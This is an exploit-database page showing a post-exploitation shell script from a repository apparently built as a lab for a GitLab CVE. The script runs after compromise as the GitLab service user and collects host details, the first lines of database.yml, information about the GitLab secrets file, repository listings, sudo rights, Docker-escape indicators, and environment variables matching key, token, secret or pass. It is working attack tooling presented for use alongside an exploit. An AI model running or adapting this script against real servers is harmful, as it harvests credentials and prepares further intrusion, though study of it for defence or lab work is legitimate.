Exploit databaseDownload repository ZIP
GH-73e98e7b6a7158d911d88ed5b02331dd
gandli/cve-2026-97229-lab
Sources for CVE-2026-97229
7 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
gandli/cve-2026-97229-labRevision fe1575ba6006
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit/post/collect.sh
Shell · 1,282 bytes#!/bin/sh
# Fast post-exploitation collection — runs as the GitLab service user (uid=998 git).
#
# python3 exploit/cve97229.py --url ... --container ... --command-file exploit/post/collect.sh
#
# Kept deliberately fast (<5 s): heavy Rails queries live in collect-rails.sh.
echo "=== identity ==="
id
hostname
uname -a
head -3 /etc/os-release 2>/dev/null
echo "=== gitlab ==="
cat /opt/gitlab/embedded/service/gitlab-rails/VERSION 2>/dev/null
head -1 /opt/gitlab/version-manifest.txt 2>/dev/null
echo "=== /etc/gitlab ==="
ls -l /etc/gitlab 2>/dev/null
wc -c /etc/gitlab/gitlab-secrets.json 2>/dev/null
echo "=== database.yml ==="
sed -n '1,20p' /var/opt/gitlab/gitlab-rails/etc/database.yml 2>/dev/null
echo "=== repositories ==="
ls /var/opt/gitlab/git-data/repositories 2>/dev/null | head -10
ls /var/opt/gitlab/git-data/repositories 2>/dev/null | wc -l
echo "=== sudo ==="
sudo -n -l 2>&1 | head -10
echo "=== escape surface ==="
ls -l /var/run/docker.sock 2>&1
head -3 /proc/1/cgroup 2>/dev/null
mount 2>/dev/null | grep -E "docker.sock|/host|/var/lib/docker" | head -5
echo "=== processes ==="
ps -eo user,pid,comm 2>/dev/null | head -15
echo "=== env (interesting names only) ==="
env 2>/dev/null | grep -iE 'key|token|secret|pass|proxy' | cut -c1-120 | head -15